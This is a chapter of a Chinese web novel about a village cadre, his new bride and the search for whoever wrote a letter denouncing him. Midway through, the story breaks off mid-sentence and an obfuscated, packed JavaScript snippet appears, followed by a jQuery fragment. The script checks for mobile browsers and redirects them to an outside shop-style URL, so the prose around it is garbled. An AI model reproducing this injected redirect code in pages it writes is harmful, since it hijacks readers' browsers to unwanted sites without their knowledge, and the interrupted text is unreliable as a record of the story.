通往村口的大路上,一群女人正在收拾碗筷,聊刚才的事。
唐希夹在其中,一点也不显得突兀,当然她是不干活的。
武小花心里憋屈又恼火,收碗时砸的“乒乒乓乓”响,她哥这辈子就结这一次婚,居然还有杀千刀的趁他大喜的日子举报他。
武小花越想越气不过,把碗往大盆里一扔,对着大路张口就骂:“呸,哪个生儿子没屁.眼的玩意儿,做这种丧良心的事,阎王早晚收了你……”
“哎呦!”武志来他亲妈余秀妹心疼的把碗从大盆里拿出来,上下左右到处看,见没磕碰坏松了口气,拉开武小花无奈说:“祖宗,你小心点,这碗是借的,摔坏了要赔的。”
武小花被拉着也不住口,还想骂,被余秀妹一巴掌拍向后背,这才老实了。
武小花“呼哧呼哧”喘粗气,很不满余秀妹阻止她骂人,气冲冲说:“二婶,你干嘛拦我?”
余秀妹面对武小花,往唐希站着的方向使了几个眼色,低声训她:“你缺心眼啊?你嫂子刚进门,你就冲着大路口骂脏,也不怕吓到她,往后对你印象不好。”
武小花心说哪用往后啊,自己之前还和她吵过架呢,印象早就不好了,不过余秀妹到底是长辈,还是一心为她好,她不甘不愿闭上了嘴。
余秀妹见她乖觉,拉上她走到唐希身前,笑眯眯说:“你叫唐希是吧,我是国定他二婶,咱们两家共一个太爷,国定他爷爷和我公爹是亲兄弟。”
唐希叫人:“二婶好。”
“哎,这模样长得真标志!”余秀妹眉开眼笑夸了唐希一番好相貌,接着扯过一旁跟谁欠了她钱似的武小花,叹气说:“唉,也不知道是谁坏心眼写举报信,我们家国定可是好孩子,从不偷奸耍滑,为大队做了好多实事,有人就爱嫉妒他!
这不,小花气不过旁人污蔑她哥,一时生气骂了两句。唐希,你心里别对他们有意见,他俩都是好孩子。”
唐希确定了,这是正经的实在亲戚,替兄妹俩说好话呢,“二婶,我没意见,是写举报信的人可恶。”
“对,写举报信的都不是啥好人,心肝全坏透了。”余秀妹跟着一起骂,骂完一拳头捶上武小花后背,“小花,看你嫂子多明事理,以后要多听话。”
武小花被锤得呛咳,心里直翻白眼:还听话?再听话,她在家里都没地位了!
余秀妹又与唐希寒暄几句,确认她心里真没不满后,这才放心说:“你玩吧,我和小花过去忙了。”
话闭,一把拽过武小花拉着她继续收拾碗筷。
余秀妹瞥向把碗收得“乒呤乓啷”响的武小花,语重心长说:“小花,你别不服气,二婶也是为你哥好。你想想,你嫂子刚嫁过来,办席当天你哥差点被抓走,她心里能舒服?能没意见?咱们说点软话,你让着点她,你嫂子心里畅快了,同你哥好好过日子,你哥好了你也高兴不是。”
武小花沉默一瞬,虽没说什么,但手上动作放轻不少。
余秀妹会心一笑,知道她是听进去了。
碗筷收完,需要洗好再还回去。一排人蹲着“吭哧吭哧”洗碗,唐希看得无聊,决定先回去。
到家时,武国定正好在给武志来解释为什么重点查孙安。
“曾萍是知青,每天与人同进同出,同住一屋,搞点什么小动作很难不被其他人注意,所以她写举报信的概率较低,但并非没有可能,永远不要小看一个人,所以需要留意她,但她不是调查重点。
从举报内容便能看出举报人的需求!他想要把我扳倒,从我手里瓜分对向党大队的控制。谁有这个想法?利益相冲的任何一个人都有可能。
首当其冲的就是孙大康。但他忽视一点,孙大康作为大队长,大队最高负责人,我谋私他没制止、没上报,属于变相与我同流合污,一样会被审查、被处罚。即使孙大康说不知道、没发现,那也是一个管理不当的渎职。”
武志来越听越糊涂:“哥,若要这么说,孙大康更不可能写举报信了。”
“我什么时候说举报信是孙大康写的了?”武国定淡淡瞥他一眼。
“啊?”武志来怀疑自己刚才耳鸣了,要不怎么不懂呢。
武国定:“自己想,想想为什么公社主任一起被举报。”
武志来:“……”
唐希从大门旁边探出个脑袋,亮晶晶的双眸里盛满求知欲:“我也想知道。”
武国定错愕后无奈一笑:“……进来听。”
武志来感觉自己受到了伤害。
“好!”唐希雀跃的蹦哒进了屋。
武国定开始掰碎了一点一点耐心讲解:“我们判断一个人会不会做某件事,先从他的性格、行事、动机出发,但归根结底要看他从中能获利什么。孙大康这人识时务,爱贪蝇头小利,但也胆小,一遇事就跟王八似的缩头回去。”
这也是当初他们选择孙大康当大队长的原因之一。
武国定睿智的眼眸仿佛带着洞悉一切说:“像曾萍,她是有动机,也有股子气性写举报信,但她若写举报信,不会用我占用大队集体资产谋私这类理由!
第一,她不清楚向党大队内部情况,大队资产跟她没有半毛钱关系,即使举报成功了又能如何,她得不到任何好处;第二,她反而会因此被大家报复,孙大康受牵累,必然记恨她,往后她在乡下日子不会好过。只要曾萍不蠢,她就干不出这种损人不利己的事,从她以往的行事来看,不是太蠢的人。”
武国定目不转睛看着唐希从咬唇怀疑,到若有所思,再到恍然大悟,脸上表情变幻丰富极了,唇角微扬,继续抛出一个震惊她的炸.弹:“但曾萍不蠢,不代表孙大康家里的人不蠢。”
“举报信是孙安写的?!”武志来惊呼出声。
没惊到唐希,倒把“哥宝脑”给惊的腾地跳起来。
武国定嫌弃地看他:“你那么激动做什么?”
武志来坐也不是,站也不是:“……我、我没想到是他,孙安平时多乖巧一小孩啊,学习好,从来不跟人打架,居然写举报信。”
果真应了那句人不可貌相!
武志来咂着嘴,不可思议地坐回凳上。
武国定对此嗤鼻,略带讥诮说:“就是乖巧,让写举报信就写,让送举报信就送,多听话一孩子。”
武志来:“……可为什么呀?他们不怕把孙大康的大队长也一块儿搞丢了?”
武国定:“所以,不怕人坏,就怕人蠢还勤快!若不举报公社主任,我还不能确定是他们。”
唐希听得好着急,她不明白,怎么就从公社主任猜到是孙安写的举报信了?
她晃晃武国定胳膊,生怕他嫌自己笨,夹着嗓子撒娇问:“他为什么举报公社主任呀?”
武国定浑身一麻,不知戳中了哪根神经,心里痒痒的,伸手欲搂她入怀,却想起旁边还有个多余的人,立马赶人:“你可以走了。”
武志来被赶得猝不及防,其实他也有问题想问。
但他哥新婚燕尔,有些事他懂!
武志来一声没吭,麻溜地滚出去,还贴心的关上院门。
武国定眼里染上几分炙热,勾勾手指,平稳的声线藏着坏心眼说:“想知道?凑近点,我告诉你。”
唐希:“……”这是什么机密吗?需要把旁人轰走,还要悄悄说。
她把耳朵凑过去:“你说……哎呀!”
唐希被武国定一把揽入怀中,坐到他的大腿上,挣脱了两下没挣开,红着脸娇嗔:“你耍流氓呐!”
武国定愉悦说:“有证的,算什么耍流氓。”
唐希一想也是,反正又没人,自己找了个舒服的姿势,靠在他宽阔的胸膛上,手指戳戳胸肌,温软说:“为什么举报公社主任你就猜到是谁干的?”
武国定偏头,温热的呼吸洒在唐希耳畔,音调低哑又缠绵:“因为公社主任和我是一伙儿的。孙大康是大队长,他想举报我后在向党大队一家独大,得连主任一起扳倒。”
唐希耳朵发痒,别过脸蹭蹭他胸口,蹭的武国定呼吸越发滚烫,他深吸一口气,带着诱哄说:“其实我早就知道是孙安写的举报信,在市里来人时就猜到了,想不想知道为什么?回房间,我告诉你。”
唐希抬手,搂住武国定的脖子。
武国定默契站起,抱着人回房。
“砰!”院门被人从外面大力推开,撞在门框上又反弹回来。
武小花两条胳膊举得笔直,还保持推门的动作。
六目相对。
武国定:“……”
唐希:“……”
武小花:“……”
一时间谁都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619033|205879||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没说话,武小花看着搂搂抱抱在一起的哥嫂。
唐希和武国定看着突然回家的武小花。
空气中弥漫着尴尬。
武国定最先打破平静,依旧抱着人,淡定说:“你嫂子脚扭了,我抱她回房。”
武小花的目光从俩人身上移到唐希脚上:“哦,严不严重,我去拿红花油。”
武国定拒绝:“不用,我屋里有。”
说完,抱着唐希回屋,并锁上门。
武国定将人放到床上,直接压了上去,被唐希拿手抵住。
“等等,你还没告诉我呢。”
武国定呼吸急促,抬起脸,语速极快说:“因为前天咱们去市里撞见过他,慌里慌张,满脸心虚,一看就干了坏事。”
院里,武小花瞪着被她哥关上的房门,一脸纠结,她原本洗着碗呢,无意回头一看,她嫂子人不见了。
一想到二婶说的,她嫂子会对她哥差点被抓走有意见,武小花整个人都不好了,今天这事,实在让她感觉在唐希面前莫名低人一头。
武小花做了个深呼吸,为自己加油打气:不就是态度好嘛,她能做到!
武小花冲过去敲门。
“咚咚”两声,把箭在弦上的武国定吓一跳。
武小花带点讨好问:“嫂子,你晚上想吃啥?我来做。”
武国定回头瞪门,咬牙切齿说:“你自己决定。”
武小花:“哥,我没问你,我问我嫂子。”
武国定低头看唐希,两手还撑在她身侧,体内一股邪火乱窜,催她:“问你呢。”
唐希感觉好搞笑,乐得不行,故意放慢语调喊:“随……便。”
门外的武小花一脸沉思:随便?这是心里还有气?
武小花想了想,好脾气问:“嫂子,你明天早上想吃啥?”
武国定:“……”有完没完?
唐希:“……”哈哈哈哈!
武国定不耐烦吼:“你自己看着办。”
武小花:“……知道了。”
凶什么凶,要不是你,她至于这么低三下四?
武小花一甩院门离开,继续去刷碗。
武国定暗暗松气,总算走了,低头不怀好意地盯着唐希,恶魔低语:“快乐吧,等会儿我们更快乐!”
欢笑声戛然而止。
唐希:“……”
——
入夜,万籁俱寂。白天的喧闹归于平静,只余山风呼啸。
“哗——哗——”
席大菊霍地睁开眼,紧张的一把扯过被子围在身前,啥声音?
孙大康被冻醒去扯被子,没扯到,迷糊睁开眼,一个半人高的黑影差点把他吓尿,再定睛一瞧,原来是席大菊裹着被子缩在床角。
“大晚上不睡觉,你有毛病啊?”孙大康捂着还“砰砰”直跳的心,没好气骂。
席大菊“嘘”一声,“你听,外面什么声音?”
孙大康闻言,竖耳认真听,除了风声还有啥?哦,小屋顶的茅草被风吹的哗啦啦,改天要重铺了。
“我没听见有什么声音。”
席大菊发急:“你没听到有什么‘哗哗’响吗?是不是有人翻进来了?”
孙大康:“那是小屋房顶的茅草被风吹移位了。”
席大菊:“你出去看看。”
孙大康:“……真的,以前风吹茅草就是这个声儿。”
席大菊疑神疑鬼说:“不对,你快出去看看是不是有人。”
孙大康抢过被子:“不去,你自己去。”
席大菊:“……”
另一家,同样没睡的唐希听着外头呼呼的风声,发角微湿,侧躺靠在床上,小脸红扑扑的盯着武国定穿戴整齐。
“你干嘛去呀?”声音又软又甜,透着几分沙哑。
武国定眉目之间带着舒爽与餍足,温柔说:“我去屠宰场把千叔他们的猪处理了,你早点睡,晚上盖好被子。”
“哦。”唐希翻身一卷,把被子全部裹在身上,包的严严实实,“你早点回来呀。”
“好。”武国定关上灯,轻轻关紧门。
唐希细细听着逐渐远离的脚步声,打了个哈欠,昏昏欲睡,睡前脑中还在想:当族长也不容易,刚从床上下来,又要去干活,一夜忙碌,真辛苦……